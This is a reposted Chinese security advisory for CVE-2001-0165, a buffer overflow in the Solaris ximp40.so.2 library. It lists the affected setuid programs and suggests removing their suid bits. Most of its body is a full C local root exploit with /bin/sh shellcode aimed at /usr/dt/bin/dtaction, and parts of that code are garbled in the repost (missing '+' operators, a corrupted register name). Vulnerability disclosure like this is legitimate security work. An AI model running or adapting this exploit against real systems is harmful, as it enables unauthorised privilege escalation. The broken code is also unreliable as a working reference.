Solaris ximp40库 缓冲区溢出

2008-04-10 03:05:08来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

Solaris ximp40库 缓冲区溢出

发布日期:2001-02-05
更新日期:2001-02-05

受影响系统:

Sun Solaris 8.0_x86
Sun Solaris 8.0
Sun Solaris 7.0_x86
Sun Solaris 7.0

描述:

BUGTRAQ ID:2322
CVE(CAN) ID: CVE-2001-0165

Solaris 是Unix操作系统的一种,由Sun微系统公司负责维护分发,从版本8开始源代
码公开了。

Openwin携带的ximp40.so.2库存在一个漏洞,用户通过向那些使用该库的应用程序命
令行提供超长字符串参数(大约272个字节),将导致一次堆栈缓冲区溢出,恶意的本
地用户籍此可能获取set-euid-to-mail的特权,甚至set-euid-to-root的特权,具体
依赖于被溢出的应用程序如何设置suid位。

已知受此漏洞影响的应用程序有:

*Solaris 8
suid root : /usr/dt/bin/dtaction
suid root : /usr/dt/bin/dtprintinfo
suid root : /usr/openwin/bin/sys-suspend
sgid mail : /usr/dt/bin/dtmail
sgid mail : /usr/openwin/bin/mailtool

*Solaris 7
suid root : /usr/dt/bin/dtaction
suid root : /usr/dt/bin/dtprintinfo
suid root : /usr/dt/bin/dtappgather
suid root : /usr/bin/admintool
suid root : /usr/openwin/bin/sys-suspend
sgid mail : /usr/dt/bin/dtmail
sgid mail : /usr/openwin/bin/mailtool

<* 来源:UNYUN (shadowpenguin@backsection.net) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


UNYUN提供了一个x86平台的测试程序:

/*
* Solaris ximp40 shared library exploit for Solaris8 Intel Edition
* The Shadow Penguin Security (http://shadowpenguin.backsection.net)
* Written by UNYUN (shadowpenguin@backsection.net)
* [usage]
* #xhost targethost
* #telnet targethost
* ...
* %setenv DISPLAY yourhost:0.0
* %gcc ximp40.c
* %./a.out
* 0:Default value 1:Calculated value > 1 <- Input 0 or 1
*/

#include <stdio.h>

#define BUF_SIZE 272
#define EIP_OFFSET 260
#define FAKE_OFFSET 264
#define FAKE_VALUE 0x08046dec
#define EIP_VALUE 0x08047cb4
#define FAKE_VALUE_DIF 0xd9c
#define EIP_VALUE_DIF 0x12c
#define NOP 0x90

char shell_code[]=
"\xeb\x3b\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xc1"
"\x88\x46\xc6\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x17\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89"
"\x5e\x08\x53\xb0\x3b\xe8\xc8\xff\xff\xff\x83\xc4\x0c\xe8\xc8\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff";

unsigned long get_sp(void)
{
__asm__(" movl %esp,陎 ");
}

void valset(char *p,unsigned int val)
{
*p=val&0xff;
*(p 1)=(val>>8)&0xff;
*(p 2)=(val>>16)&0xff;
*(p 3)=(val>>24)&0xff;
}

main()
{
char buf[BUF_SIZE];
unsigned int esp=get_sp(),sw;

memset(buf,NOP,BUF_SIZE);
memcpy(buf EIP_OFFSET-strlen(shell_code),shell_code,
strlen(shell_code));

printf("esp=%x\n",esp);
printf("0:Default value 1:Calculated value >");
fflush(stdout);
scanf("%d",&sw);
if (sw==0){
valset(buf FAKE_OFFSET, FAKE_VALUE);
valset(buf EIP_OFFSET , EIP_VALUE);
printf("Jumping address = %x\n",EIP_VALUE);
}else{
valset(buf FAKE_OFFSET, esp-FAKE_VALUE_DIF);
valset(buf EIP_OFFSET , esp EIP_VALUE_DIF);
printf("Jumping address = %x\n",esp EIP_VALUE_DIF);
}
buf[BUF_SIZE-1]=0;

execl("/usr/dt/bin/dtaction",buf,NULL);
} /* end of main */


建议:

临时解决方案:

在Sun公司未提供针对ximp40.so.2库的官方补丁之前,用户可以考虑去掉受此漏
洞影响的应用程序的suid位。

厂商补丁:

暂无


标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Cisco Content Service Switch 长文件名拒绝服务漏洞

下一篇:Linux man -l 格式化串漏洞